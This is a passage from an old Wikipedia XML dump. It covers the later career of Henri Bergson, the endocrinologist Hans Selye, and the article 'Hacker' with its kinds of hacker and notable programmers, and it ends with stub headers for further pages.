His third major work, ''L'Evolution créatrice'', appeared in [[1907]], and is undoubtedly the most widely known and most discussed. It constitutes one of the most profound and original contributions to the philosophical consideration of the [[theory of evolution]]. ''&quot;Un livre comme L'Evolution créatrice,&quot;'' remarks [[Imbart de la Tour]], ''&quot;n'est pas seulement une œuvre, mais une date, celle d'une direction nouvelle imprimée à la pensée.&quot;''  (A book such as Creative Evolution is not so much a work, but a milestone in print of a new direction of thought.) By [[1918]], [[Alcan]], the publisher, had issued twenty-one editions, making an average of two editions per annum for ten years. Following the appearance of this book, Bergson's popularity increased enormously, not only in academic circles, but among the general reading public.

== Relationship with James and pragmatism ==
Bergson came to London in [[1908]] and visited [[William James]], the American philosopher of [[Harvard]], who was Bergson's senior by seventeen years, and who was instrumental in calling the attention of the Anglo-American public to the work of the French professor. This was an interesting meeting and we find James's impression of Bergson given in his Letters under date of October 4, 1908. &quot;So modest and unpretending a man but such a genius intellectually! I have the strongest suspicions that the tendency which he has brought to a focus, will end by prevailing, and that the present epoch will be a sort of turning point in the history of philosophy.&quot;

As early as [[1880]] James had contributed an article in French to the periodical ''La Critique philosophique'', of Renouvier and Pillon, entitled ''[[Le Sentiment de l'Effort]]''. Four years later a couple of articles by him appeared in &quot;Mind: What is an Emotion?&quot; and &quot;On some Omissions of Introspective Psychology.&quot; Of these articles the first two were quoted by Bergson in his work of 1889, ''Les données immédiates de la conscience''. In the following years 1890-91 appeared the two volumes of James's monumental work, [[The Principles of Psychology]], in which he refers to a pathological phenomenon observed by Bergson. Some writers, taking merely these dates into consideration and overlooking the fact that James's investigations had been proceeding since [[1870]] (registered from time to time by various articles which culminated in &quot;The Principles&quot;), have mistakenly dated Bergson's ideas as earlier than James's.

It has been suggested that Bergson owes the root ideas of his first book to the [[1884]] article by James, &quot;On Some Omissions of Introspective Psychology,&quot; which he neither refers to nor quotes. This article deals with the conception of thought as a [[stream of consciousness]], which [[intellect]] distorts by framing into concepts. Bergson replied to this insinuation by denying that he had any knowledge of the article by James when he wrote ''Les données immédiates de la conscience''. The two thinkers appear to have developed independently until almost the close of the century. They are further apart in their intellectual position than is frequently supposed. Both have succeeded in appealing to audiences far beyond the purely academic sphere, but only in their mutual rejection of &quot;intellectualism&quot; as final is there real unanimity. Although James was slightly ahead in the development and enunciation of his ideas, he confessed that he was baffled by many of Bergson's notions. James certainly neglected many of the deeper metaphysical aspects of Bergson's thought, which did not harmonize with his own, and are even in direct contradiction. In addition to this, Bergson can hardly be considered a pragmatist.  For him, &quot;utility,&quot; far from being a test of truth, was in fact the reverse:  a synonym for error.

Nevertheless, William James hailed Bergson as an ally. Early in the century ([[1903]]) he wrote: &quot;I have been re-reading Bergson's books, and nothing that I have read since years has so excited and stimulated my thoughts. I am sure that that philosophy has a great future, it breaks through old cadres and brings things into a solution from which new crystals can be got.&quot; The most noteworthy tributes paid by him to Bergson were those made in the [[Hibbert Lectures]] (A Pluralistic Universe), which James gave at [[Manchester College, Oxford]], shortly after meeting Bergson in London. He remarks on the encouragement he has received from Bergson's thought, and refers to the confidence he has in being &quot;able to lean on Bergson's authority.&quot; 

The influence of Bergson had led him &quot;to renounce the intellectualist method and the current notion that [[logic]] is an adequate measure of what can or cannot be.&quot; It had induced him, he continued, &quot;to give up logic, squarely and irrevocably&quot; as a method, for he found that &quot;reality, life, experience, concreteness, immediacy, use what word you will, exceeds our logic, overflows, and surrounds it.&quot;

Naturally, these remarks, which appeared in book form in [[1909]], directed many English and American readers to an investigation of Bergson's philosophy for themselves. A certain handicap existed in that his greatest work had not then been translated into English. James, however, encouraged and assisted Dr. [[Arthur Mitchell]] in his preparation of the English translation of ''L'Evolution créatrice''. In August of [[1910]] James died. It was his intention, had he lived to see the completion of the translation, to introduce it to the English reading public by a prefatory note of appreciation. In the following year the translation was completed and still greater interest in Bergson and his work was the result. By a coincidence, in that same year ([[1911]]), Bergson penned for the French translation of James's book, &quot;Pragmatism&quot;, a preface of sixteen pages, entitled ''Vérité et Realité''. In it he expressed sympathetic appreciation of James's work, coupled with certain important reservations.

In April (5th to 11th) Bergson attended the [[Fourth International Congress of Philosophy]] held at [[Bologna]], in [[Italy]], where he gave a brilliant address on ''L'Intuition philosophique''. In response to invitations received he came again to England in May of that year, and paid England several subsequent visits. These visits were always noteworthy events and were marked by important deliverances. Many of these contain important contributions to thought and shed new light on many passages in his three large works: Time and Free Will, Matter and Memory, and Creative Evolution. Although necessarily brief statements, they were of more recent date than his books, and thus showed how this acute thinker could develop and enrich his thought and take advantage of such an opportunity to make clear to an English audience the fundamental principles of his philosophy. 

== The lectures on change, and Bergson's later life ==
Bergson visited the [[University of Oxford]], where he delivered two lectures entitled ''La Perception du Changement'' (The Perception of Change), which were published in French in the same year by the [[Clarendon Press]]. As he had a delightful gift of lucid and brief exposition, when the occasion demands such treatment, these lectures on Change formed a most valuable synopsis or brief survey of the fundamental principles of his thought, and served the student or general reader alike as an excellent introduction to the study of the larger volumes. Oxford honoured its distinguished visitor by conferring upon him the degree of [[Doctor of Science]]. 

Two days later he delivered the [[Huxley Lecture]] at the [[University of Birmingham]], taking for his subject ''Life and Consciousness''. This subsequently appeared in ''[[The Hibbert Journal]]'' (October, 1911), and since revised, forms the first essay in the collected volume ''L'Energie spirituelle'' or Mind-Energy. In October he was again in England, where he had an enthusiastic reception, and delivered at [[University College London]] four lectures on ''La Nature de l'Ame''. 

In [[1913]] he visited the [[United States|United States of America]], at the invitation of [[Columbia University]], [[New York]], and lectured in several American cities, where he was welcomed by very large audiences. In February, at Columbia University, he lectured both in French and English, taking as his subjects: ''Spiritualité et Liberté'' and The Method of Philosophy. Being again in England in May of the same year, he accepted the Presidency of the [[British Society for Psychical Research]], and delivered to the Society an impressive address: ''Fantômes des Vivants et Recherche psychique'' (Phantoms of Life and Psychic Research).

Meanwhile, his popularity increased, and translations of his works began to appear in a number of languages: [[English language|English]], [[German language|German]], [[Italian language|Italian]], [[Danish language|Danish]], [[Swedish (language)|Swedish]], [[Hungarian language|Hungarian]], [[Polish language|Polish]] and [[Russian language|Russian]]. In [[1914]] he was honoured by his fellow-countrymen in being elected as a member of the [[Académie française]]. He was also made President of the Académie des Sciences morales et politiques, and in addition he became Officier de la [[Légion d'honneur]], and Officier de l'Instruction publique. 

Bergson found disciples of many varied types, and in France movements such as [[Neo-Catholicism]] or [[Modernism]] on the one hand and [[Syndicalism]] on the other, endeavoured to absorb and to appropriate for their own immediate use and propaganda some of the central ideas of his teaching. That important continental organ of socialist and syndicalist theory, ''Le Mouvement [[Socialism|socialiste]]'', suggested that the realism of [[Karl Marx]] and [[Pierre-Joseph Proudhon]] is hostile to all forms of intellectualism, and that, therefore, supporters of Marxian socialism should welcome a philosophy such as that of Bergson. Other writers, in their eagerness, asserted the collaboration of the Chair of Philosophy at the College de France with the aims of the ''[[Confédération Générale du Travail]]'' and the [[Industrial Workers of the World]]. It was claimed that there is harmony between the flute of personal philosophical meditation and the trumpet of social revolution.

While social revolutionaries were endeavouring to make the most out of Bergson, many leaders of religious thought, particularly the more liberal-minded theologians of all creeds, e.g., the Modernists and Neo-Catholic Party in his own country, showed a keen interest in his writings, and many of them endeavoured to find encouragement and stimulus in his work. The [[Roman Catholic Church]], however, which still believed that finality was reached in philosophy with the work of [[Thomas Aquinas]] in the thirteenth century, and consequently had made that mediaeval philosophy her official, orthodox, and dogmatic view, took the step of banning Bergson's three books by placing them upon the [[Index Librorum Prohibitorum|Index of prohibited books]] (Decree of June 1, 1914).

In 1914, the Scottish Universities arranged for Bergson to deliver the famous [[Gifford Lectures]], and one course was planned for the spring and another for the autumn. The first course, consisting of eleven lectures, under the title of ''The Problem of Personality'', was delivered at the [[University of Edinburgh]] in the Spring of that year. The course of lectures planned for the autumn months had to be abandoned because of the outbreak of war. Bergson was not, however, silent during the conflict, and he gave some inspiring addresses. As early as [[November 4]], 1914, he wrote an article entitled ''La force qui s'use et celle qui ne s'use pas'' (Wearing and Nonwearing forces), which appeared in that unique and interesting periodical of the ''poilus'', ''Le Bulletin des Armées de la République Française''. A presidential address delivered in December, 1914, to the Académie des sciences morales et politiques, had for its title ''La Significance de la Guerre''. This, together with the preceding article, has been translated and published in England as The Meaning of the War. 

Bergson contributed also to the publication arranged by ''[[The Daily Telegraph]]'' in honour of the King of the [[Belgium|Belgians]], King Albert's Book (Christmas, 1914). In [[1915]] he was succeeded in the office of President of the ''Académie des Sciences morales et politiques'' by M. [[Alexandre Ribot]], and then delivered a discourse on The Evolution of German [[Imperialism]]. Meanwhile he found time to issue at the request of the Minister of Public Instruction a delightful little summary of French Philosophy. Bergson did a large amount of travelling and lecturing in America during the war. He was there when the French Mission under M. [[Viviani]] paid a visit in April and May of 1917, following upon America's entry into the conflict. M. Viviani's book ''La Mission française en Amérique'' ([[1917]]), contains a preface by Bergson.

Early in [[1918]] he was officially received by the ''Académie française'', taking his seat among &quot;The Select Forty&quot; as successor to [[Emile Ollivier]], the author of the large and notable historical work ''L'Empire libéral''. A session was held in January in his honour at which he delivered an address on Ollivier.  In the war, Bergson saw the conflict of Mind and Matter, or rather of Life and Mechanism; and thus he shows us the central idea of his own philosophy in action. To no other philosopher has it fallen, during his lifetime, to have his philosophical principles so vividly and so terribly tested.

As many of Bergson's contributions to French periodicals were not readily accessible, he agreed to the request of his friends that these should be collected and published in two volumes. The first of these was being planned when war broke out. The conclusion of strife was marked by the appearance of a delayed volume in [[1919]]. It bears the title ''L'Energie spirituelle: Essais et Conférences'' (Spiritual Energy: Essays and Lectures). The noted expounder of Bergson's philosophy in England, Dr. [[Wildon Carr]], prepared an English translation under the title Mind-Energy. The volume opens with the Huxley Memorial Lecture of 1911, Life and Consciousness, in a revised and developed form under the title Consciousness and Life. Signs of Bergson's growing interest in social ethics and in the idea of a future life of personal survival are manifested. The lecture before the Society for Psychical Research is included, as is also the one given in France, ''L'Ame et le Corps'', which contains the substance of the four London lectures on the Soul. The seventh and last article is a reprint of Bergson's famous lecture to the Congress of Philosophy at Geneva in 1904, ''Le paralogisme psycho-physiologique'' (The Psycho-Physiolgical Paralogism), which now appears as ''Le Cerveau et la Pensée: une illusion philosophique''. Other articles are on the False Recognition, on Dreams, and Intellectual Effort. The volume is a most welcome production and serves to bring together what Bergson wrote on the concept of mental force, and on his view of &quot;tension&quot; and &quot;detension&quot; as applied to the relation of matter and mind.

In June, [[1920]], the [[University of Cambridge]] honoured him with the degree of [[Doctor of Letters]] ([[D.Litt]]). In order that he may be able to devote his full time to the great new work he was preparing on ethics, religion, and sociology, Bergson was relieved of the duties attached to the Chair of Modern Philosophy at the ''Collège de France''. He retained the chair, but no longer delivered lectures, his place being taken by his noted pupil [[Edouard Le Roy]]. Living with his wife and daughter in a modest house in a quiet street near the Porte d'Auteuil in Paris, Bergson won the [[Nobel Prize for Literature]] in [[1927]].

After his retirement from the ''Collège'', Bergson faded into obscurity, because he was suffering from a degenerative illness.  He completed his great new work, ''Les Deux Sources de la religion et de la Morale'', which extended his philosophical theories to the realms of morality, religion and art, in [[1935]].  It was respectfully received by the public and the philosophical community, but all by that time realized that Bergson's days as a philosophical luminary were past.  He was, however, able to reiterate his core beliefs near the end of his life, by renouncing all of the posts and honours previously awarded him, rather than accept exemption from the [[Antisemitism|antisemitic]] laws imposed by the [[Vichy France|Vichy]] government. Though wanting to convert to Catholicism, he held off instead and showed solidarity with his fellow Jews by signing the registry books. 

A Roman Catholic priest said prayers at his funeral per his request. Henri Bergson is buried in the Cimetière de Garches, [[Hauts-de-Seine]].



==See also==
*[[Fascism]]
*[[Open society]]
*[[Charles Peguy]]
*[[Process philosophy]]
*[[Nikos Kazantzakis]]
*[[philosophy of biology]]

==Bibliography==
''to be added''

{{start box}}
{{succession box|
  title= [[List of members of the Académie française#Seat 7|Seat 7]]&lt;br&gt;[[Académie française]] | years=1914&amp;ndash;1941 |
  before  = [[Émile Ollivier]]|
  after = [[Édouard le Roy]]
}}
{{succession box | before = [[Grazia Deledda]] | title= [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1927 | after = [[Sigrid Undset]]
}}
{{end box}}

==External links==
{{Wikisource author}}
*{{gutenberg author|id=Henri_Bergson|name=Henri Bergson}}
*[http://plato.stanford.edu/entries/bergson/ Stanford Encyclopedia of Philosophy entry]
*[http://www.nautis.com/ Nautis Project]
&lt;!--*[http://www.awardt.com/see/BERGSON8/The lectures on change, and Bergson's later life]--&gt;
*[http://www.awardt.com/see/BERGSON7/ Relationship with James]
*[http://www.awardt.com/see/BERGSON6/ Education and career ]
*[http://www.awardt.com/see/BERGSON5/ Henri Bergson (1859 - 1941]
*[http://www.awardt.com/see/BERGSON4/ LIFE AND WORKS of HENRI BERGSON]
*[http://www.awardt.com/see/BERGSON3/ Francia, 1859-1941]
*[http://www.awardt.com/see/BERGSON2/ Henri Bergson ]
*[http://www.awardt.com/see/BERGSON/  Henri Bergson (1859-1941)]

[[Category:1859 births|Bergson, Henri]]
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[[Category:20th century philosophers|Bergson, Henri]]
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[[Category:Continental philosophers|Bergson, Henri]]
[[Category:Members of the Académie française|Bergson, Henri]]
[[Category:Nobel Prize in Literature winners|Bergson, Henri]]

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  </page>
  <page>
    <title>Hans Selye</title>
    <id>13532</id>
    <revision>
      <id>39643885</id>
      <timestamp>2006-02-14T22:10:10Z</timestamp>
      <contributor>
        <username>Herotodus</username>
        <id>869953</id>
      </contributor>
      <comment>Added Selye's middle names, included section on his experiments with mice and the hypothalamus-pituitary-adrenal system</comment>
      <text xml:space="preserve">'''Hans Hugo Bruno Selye''', [[Order of Canada|CC]] (Selye János, [[1907]] - [[1982]]), was a [[Canada|Canadian]] [[endocrinologist]] of [[Austria]]n-[[Hungary|Hungarian]] origin. His mother was [[Austria]]n; his father was [[Hungary|Hungarian]]. He did much important theoretical work on the non-specific response of the organism to [[stress (medicine)|stress]]. While he did not recognize all of the many aspects of [[glucocorticoids]], Selye was aware of their role in this response. Some commentators considered him the first to demonstrate the existence of a separate stress [[disease]], the stress syndrome, or [[General adaptation syndrome]]. His initial inspiration for G.A.S came from an endocrinological experiment in which he injected mice with extracts of various organs. He at first believed to have discovered a new hormone but was proved wrong when every irritating substance he injected produced the same symptoms (swelling of the thymus, atrophy of the adrenal cortex, gastric and duodenal ulcers). This, paired with his observation that people with different diseases exhibit similar symptoms, led to his description of the effects of &quot;noxious agents&quot; as he at first called it.He later coined the term &quot;stress&quot;, which has been accepted into the lexicon of various other languages.  
To grossly oversimplify to the point of circular argument, Selye discovered and documented that stress differs from other physical responses in that stress is stressful whether the one receives good or bad news, whether the impulse is positive or negative. He called negative stress ''distress'' and positive stress ''eustress''.The system whereby the body copes with stress, the hypothalamus-pituitary-adrenal system, was also first described by Selye.



He wrote ''Stress without Distress'' ([[1974]]), ''The Stress of Life'' ([[1956]]), and ''From dream to discovery; on being a scientist'' ([[1964]]). He worked as a professor and director of the Institute of Experimental Medicine and Surgery at the [[Université de Montréal]].

In 1968 he was made a Companion of the [[Order of Canada]].

[[Category:1907 births|Selye]]
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  </page>
  <page>
    <title>Hacker</title>
    <id>13533</id>
    <revision>
      <id>42080109</id>
      <timestamp>2006-03-03T18:10:45Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <comment>/* Definitions of hack */ templatefying</comment>
      <text xml:space="preserve">:''For other uses, see [[Hacker (disambiguation)]] or [[Hacker (computer security)]]''

A '''Hacker''' is a person who creates and modifies [[computer software]] and [[computer hardware]], including computer programming, administration, and security.

In [[computer programming]], a 'hacker' is a programmer who ''hacks'' or reaches a goal by employing a series of modifications to exploit or extend existing [[source code|code]] or resources. In [[computer security]], a ''hacker'' is a person able to [[Exploit (computer security)|exploit]] a system or gain unauthorized access through skill and tactics. This usually refers to a [[black hat]] hacker. There are also [[hacker ethic|ethical hackers]] ([[white hat]]s), and [[grey hat]]s. In other technical fields, ''hacker'' is extended to mean a person who makes things work beyond perceived limits through their own technical skill, such as a [[hardware hacker]], or [[reality hacker]]. However, for some the word has a negative connotation and refers to a person who &quot;[[Hack (technology slang)|hack]]s&quot; or uses [[kludge]]s to accomplish programming tasks that are ugly, inelegant, and inefficient. The negative form of the noun &quot;hack&quot; is even used among users of the positive sense of &quot;hacker&quot;. 

==Definitions of hack==
{{main|Hacker definition controversy}}

The word ''hack'' has several definitions, according to the
[http://www.ibiblio.org/webster/cgi-bin/headword_search.pl?query=hack&amp;=Submit dictionary].  One is &quot;''to cut irregularly, without skill or definite purpose''.&quot;  Newspaper journalists are sometimes called &quot;''hacks''&quot;, which could potentially be construed as a reference to an old style method of copy
editing involving an encyclopedia, a manual typewriter, a pair of
scissors and a roll of scotch tape.  Cutting (one synonym for &quot;''hack''&quot;) and pasting blocks of text or software source code in order to factor and reorganize an essay or program are activities familiar to writers and computer programmers alike.  When typing on an old fashioned mechanical typewriter, a phalanx of typebars chops against the ribbon, paper, and platten, making a characteristic &quot;''hacking''&quot; noise.  

Another speculation is that the word &quot;''hacker''&quot; is an humorously ironic conflation of elegant and well spoken eloquent prosody, to &quot;''a raspy, chopping, cough''.&quot;  When a person doesn't know how to pronounce a word, they will sometimes fill in with a, ''hcahw'', coughing sound.  Reporters are known to attempt writing about a subject they do not completely comprehend, don't get the facts or story straight, and thus sometimes &quot;''hack the story to pieces''&quot;.  So, perhaps to some, a neophyte programmer is thereby termed a &quot;''hacker''&quot;, and that would explain why one sense of the word &quot;''hack''&quot; is given as &quot;''A quick and inelegant, though functional solution to a programming problem''.&quot;

== Categories of hacker ==
[[Image:glider.JPG|right|A glider from [[Conway's Game of Life]].]]

The hacker community (the set of people who would describe themselves as hackers, or who would be described by others as hackers) falls into at least four partially overlapping categories. Sometimes people in these categories are called a different name, such as &quot;cracker&quot; instead of hacker.

=== Hacker: Highly skilled programmer ===
The positive usage of ''hacker'' is one who knows a (sometimes specified) set of programming interfaces well enough to write software rapidly and expertly.  This type of hacker is well-respected, although the term still carries some of the meaning of ''hack'', developing programs without adequate planning.  This ''[[zugzwang]]'' gives freedom and the ability to be creative against methodical careful progress. At their best, hackers can be very productive.  The technical downside of hacker productivity is often in maintainability, documentation, and completion.  Very talented hackers may become bored with a project once they have figured out all of the hard parts, and be unwilling to finish off the &quot;details&quot;. This attitude can cause friction in environments where other programmers are expected to pick up the half finished work, decipher the structures and ideas, and bullet-proof the code.  In other cases, where a hacker is willing to maintain their own code, a company may be unable to find anyone else who is capable or willing to dig through code to maintain the program if the original programmer moves on to a new job.

Additionally, there is sometimes a social downside associated with hacking. The stereotype of a hacker as having gained technical ability at a cost in social ability may have an uncomfortable amount of factual foundation in many individuals. While not universal, nor even restricted to hackers, the obsessive/compulsive nature, difficulty in relating to other individuals, and often abrasive personalities of some hackers makes some of them difficult to work with or to organize into teams; [[Richard Stallman]] (RMS) is a good example of this. Some within the hacker community have speculated that some mild form of [[autism]] might be involved in the case of some hackers. In one more pronounced example of such, [[Bram Cohen]], developer of [[BitTorrent]], has been diagnosed as having [[Asperger's syndrome]]. However, no formal studies of autistic tendencies in hackers have been done.

=== Hacker: Computer and network security ===
{{main|Hacker (computer security)}}
A ''hacker'' is one who exploits systems or gains unauthorized access through clever tactics and detailed knowledge, that is, through the use of a [[hack]]. However, because most hacks do not exploit systems or gain unauthorized access, most people who have enough technical skill to produce clever hacks consider the use of the word ''hacker'' in this sense to be bigotry. Malicious hackers in this sense are often called [[black hat hacker]]s, but it is more appropriate to call them [[Security cracking|crackers]](from criminal hacker) as this is a term which distinguishes the exploitation of security weaknesses from hacking in general. The opposite term of black hat is [[white hat]], are ethical hackers those who attempt to break into systems or networks in order to help the owners of the system by making them aware of security flaws, or to perform some other altruistic activity. Other hackers often viewed negatively include [[phreaking|phreaker]]s and [[software cracker]]s.

=== Hacker: Hardware modifier ===
Another type of hacker is one who creates novel hardware modifications. At the most basic end of this spectrum are those who make frequent changes to the hardware in their computers using standard components, or make semi-cosmetic themed modifications to the appearance of the machine. This type of Hacker modifes his/her computer for performance needs and/or attractiveness. These changes often include adding memory, storage or LEDs and cold cathode tubes for light effects. These people often show off their talents in contests, and many enjoy [[LAN party|LAN parties]]. At the more advanced end of the hardware hackers are those who modify hardware (not limited to computers) to expand capabilities; this group blurs into the culture of hobbyist [[inventor|inventors]] and professional electronics engineering. An example of such modification includes the addition of [[Internet protocol suite|TCP/IP]] [[Internet]] capabilities to a number of [[vending machine]]s and [[Coffee]] makers during the late 1980's and early 1990's.

Hackers who have the ability to write circuit-level code, [[Device driver|device drivers]], [[firmware]], low-level networking, (and even more impressively, using these techniques to make devices do things outside of their spec sheets), are typically in very high regard among hacker communities. This is primarily due to the difficulty and enormous complexity of this type of work, and the electrical engineering knowledge required to do so. Such hackers are rare, and almost always considered to be wizards or gurus of a very high degree.

=== Hacker stereotypes ===
There are theoretical types of hackers who are considered to posses an atypical level of skill beyond that of other meanings of the positive form of &quot;hacker&quot;, which include the '''Guru''' and the '''Wizard'''.

In some portions of the computer community, a Wizard is one who can do anything a hacker can, but elegantly; while a Guru not only can do so elegantly, but instruct those who do not know how. In other portions, a Guru is one with a very broad degree of expertise, while a Wizard is expert in a very narrow field, distinctions seemingly more at home in a [[Role-playing game|RPG]] world, and not often heard in actual conversation.

==Recognized hackers==
Due to the overlapping nature of the hacker concept space, many of these individuals could be included in more than one category. See also [[Hacker (computer security)]], which has a list of people in that category, including criminal or unethical hackers.

===Recognized programmers===
*[[Linus Torvalds]], who was a computer science student at the University of Helsinki when he began writing the Linux kernel in 1991.

*[[Mel Kaye]], a near-legendary figure and the archetypal Real Programmer[http://catb.org/~esr/jargon/html/R/Real-Programmer.html]. He was credited with doing &quot;the bulk of the programming&quot; for the Royal McBee LGP-30 drum-memory computer in the 1950s. Ed Nather, another hacker, published the &quot;Story of Mel&quot; in the 1980s, which is now regarded as one of the most famous pieces of hacker folklore.

*[[Dan Bernstein]], the author of qmail and djbdns, also a mathematician and cryptographer.

*[[John Carmack]], a widely recognized and influential game programmer. Through his work, he has made significant contributions to the field of 3D computer graphics and his games have sold in the millions. In 1999, Carmack appeared as number 10 in TIME's list of the 50 most influential people in technology.

*[[Bill Gates]], the co-founder of Microsoft, and created the original Microsoft BASIC in 8 weeks [1]. He is currently most famous for having headed the Forbes list of the world's richest for many years.

*[[Bill Gosper]], mathematician and programmer, and contemporary of Richard Greenblatt.

*[[Richard Greenblatt (programmer)|Richard Greenblatt]], primary designer of the MIT [[Lisp machine]] and pioneer of computerized [[chess]].

*[[Bill Joy]], the co-founder of Sun Microsystems and author of many fundamental UNIX utilities.

*[[Rasmus Lerdorf]], the creator of the PHP Programming language.

*[[John McCarthy]], the inventor of the Lisp programming language. Also coined the term &quot;Artificial Intelligence&quot;.

*[[Rob Pike]], a software engineer and author. He is best known for his work at Bell Labs, where he was a member of the Unix team and was involved in the creation of the Plan 9 and Inferno operating systems.

*[[Richard Stallman]], the founder of the free software movement and the GNU project, and wrote the early versions of Emacs and gcc.

*[[Ken Thompson]] and [[Dennis Ritchie]], who created Unix in 1969. Ritchie is also notable for having created the C programming language.

*[[Guido van Rossum]], the creator of the Python programming language.

*[[Wietse Venema ]], best known for writing the Postfix mail system.

*[[Larry Wall]], the creator of the Perl programming language.

*[[Steve Wozniak]], a co-founder of Apple Computer (with [[Steve Jobs]]). Got his start making devices for phone phreaking, with a hand from [[John Draper]].

===Security Experts===
*[[Fyodor]] — The author of Nmap &amp; STC.
*[[Johan Helsingius|Johan &quot;Julf&quot; Helsingius]] — Operated the world's most popular anonymous remailer, the Penet remailer (called penet.fi), until he closed up shop in September 1996.
*[[Horatio Huxham]] — Made public a security hole in a South African banking system.
*[[Tsutomu Shimomura]] — Shimomura helped catch [[Kevin Mitnick]], the United States' most infamous computer intruder, in early 1994. He is the co-author of a book about the Mitnick case, ''Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw-By the Man Who Did It'' (ISBN 0786889136).
*[[Solar Designer]] — Founder of the [[Openwall Project]].
*[[Bruce Schneier]] - Founder and [[Chief Technical Officer|CTO]] of [[Counterpane Internet Security, Inc.]]
*[[Michal Zalewski]] (lcamtuf) — Prominent security researcher.
*[[Zaraza (hacker)|Zaraza]] (3APA3A) — Russian security researcher who has located various flaws in Microsoft Windows and Unix
*[[Adrian Lamo]] - American greyhat hacker who gained notoriety by hacking high-profile organizations using common flaws in their webpages.  Hacks include [[The New York Times]], [[America Online|AOL]], [[MCI Worldcom]], [[Cingular]], [[Google]], and the [[NSA]].

===Hardware modifiers===
*[[Don Lancaster]] &amp;mdash; author of the ''Hardware Hacker'' column in [[Radio Electronics]] magazine.

*[[Stephen Wozniak]] &amp;mdash; co-founder of [[Apple Computers]], credited with contributing greatly to the [[personal computer]] revolution of the 1970s.

===Hacker media personalities===
Listed below are individuals who, while fitting in one or more of the above categories, are more widely famous (especially among the general  public) for their media presence than their technical accomplishments.

*[[Eric Gorden Corley|Eric Corley]] (a.k.a [[Emmanuel Goldstein]]) &amp;mdash; Long standing publisher of [[2600 The Hacker Quarterly|2600: The Hacker Quarterly]] and founder of the [[H.O.P.E.]] conferences. He has been part of the hacker community since the late '70s.
* [[Cult of the Dead Cow|CULT OF THE DEAD COW]] &amp;mdash; A high profile hacker group that has both made news and been consulted by the media on numerous occasions.
* [[Eric S. Raymond]] &amp;mdash; One of the founders of the [[Open Source Initiative]]. He wrote the famous text [[The Cathedral and the Bazaar]] and many other essays. He also maintains the [[Jargon File]] for the [[Hacker culture]], which was previously maintained by [[Guy L. Steele, Jr.]].
* [[Bruce Perens]] &amp;mdash; Also one of the founders of the [[Open Source Initiative]]. He was the former [[Debian GNU/Linux]] Project Leader, and is the primary author of the [[Open Source Definition]].

==See also==
*'''General'''
**[[Computer crime]]
**[[Hacker culture]]
**[[Hacker ethic]]
**[[Hacker Emblem]] 
**[[Hacker Manifesto]]
**[[Biohacker]]
**[[Reality hacker]]
**[[Wetware hacker]]
**[[Information wants to be free]]

*'''Related'''
**[[Quick-and-dirty]]
**[[The Hacker Test]]

*'''Lists'''
**[[List of fictional hackers]]

== Related books ==
* {{cite book | authorlink = Steven Levy | last = Levy | first =  Steven | title = [[Hackers: Heroes of the Computer Revolution]] | year = 1984 | id = ISBN 0385191952 | publisher = Doubleday }}
* {{cite book | authorlink = Bruce Sterling | last = Sterling | first =  Bruce | title = The Hacker Crackdown | year = 1992 | id = ISBN 055308058X | publisher = Bantam }}
* {{cite book | last = Slatalla  | first =  Michelle | coauthors = Joshua Quittner | title = [[Masters of Deception]]: The Gang That Ruled Cyberspace | year = 1995 | id = ISBN 0060170301 | publisher = HarperCollins }}
* {{cite book | last = Dreyfus | first =  Suelette | url = http://www.underground-book.com/ | title = Underground: Tales of Hacking, Madness and Obsession on the Electronic Frontier | year = 1997 | id = ISBN 1863305955 | publisher = Mandarin }}

==External links==
{{Sisterlinks|Hacker}}
*[http://www.catb.org/~esr/faqs/hacker-howto.html How To Become A Hacker] -(a popular essay by [[Eric S. Raymond]])
*[http://www.hackerslegion.com/ Legion of Ethical Hacking]
*[http://www.hackr.org hackr.org - Hacking Challenges]
*[http://www.2600.com 2600: The Hacker Quarterly]
*[http://www.precisesecurity.com/computer-articles/ca-0001-hackingmail.htm Hacking Yahoo, Hotmail, AOL and more. Beware!]
*[http://rootboot.net Hacking related database (rootboot.net)]
*[http://stallman.org/articles/on-hacking.html On Hacking - essay by Richard Stallman]
*[http://www.hackwire.com/ Hacker News]
*[http://www.hackers.com/ Hackers.com]
*[http://www.hackergames.net/ Hacker Games]
*[http://www.hacker-dictionary.com The Hacker Dictionary]
*[http://www.thebroken.org The Broken video series on hacking]
*[http://hacks.mit.edu/ The MIT Gallery of Hacks]
*[http://www.whitedust.net/article/39/Hacking:_Art_or_Science?/ Hacking: Art or Science?] by [[Mark Hinge]]
*[http://www.catb.org/~esr/jargon The Jargon File]
*[http://www.catb.org/~esr/jargon/html/story-of-mel.html The Story of Mel]
*[http://www.catb.org/~esr/hacker-emblem The Hacker Emblem]
*[http://www.safemode.org/interviews.html Hacker Interviews]
*[http://www.benwiggy.com/hacking Hacking Information]
*[http://www.paulgraham.com/hp.html Paul Graham's ''Hackers &amp; Painters'' Essay]
*[http://www.paulgraham.com/gh.html Paul Graham's ''Great Hackers'' Essay]
*[http://www.wpi.edu/~trb/hacker70s.html WPI Hackers of the '70s]
*[http://citeseer.ist.psu.edu/raymond00brief.html A Brief History of Hackerdom (2000)}]
*[http://www.learntohack.org/ Learn To Hack - Hacking Challenges]
*[http://www.wheels.org/spacewar/stone/rolling_stone.html SPACEWAR: Fanatic Life and Symbolic Death Among the Computer Bums] [[Stewart Brand]]'s 1972 article
*[http://groups-beta.google.com/group/net.flame/msg/d819f568a30ecf57 Use of the Word &quot;Hacker&quot; post on newsgroup net.flame]
*[http://binrev.com/ Binary Revolution] Magazine, Online Radio Show, Online TV Show, Etc.
*[http://www.hackthissite.org HackThisSite.org] A community dedicated to informing and teaching others about popular vulnerabilities in networks and websites, particularly through the use of &quot;challenges&quot; aimed at exploiting a simulation of a website.
*[http://www.hackcanada.com hackcanada.com] A fairly large collection of original files written mostly by canadian hackers.
*[http://www.kde.nl/people/fullarchive.html The People Behind KDE] -(a series of interviews covering a number of open-source programmers)
*[http://wikihost.org/wikis/newjargonfile/ The New Jargon File] An effort to establish an open hacker culture document, in the tradition of the Jargon File

[[Category:Computer hacking]]
[[Category:Computing culture]]

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  <page>
    <title>Halting Problem</title>
    <id>13534</id>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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    <title>Heart of Darkness</title>
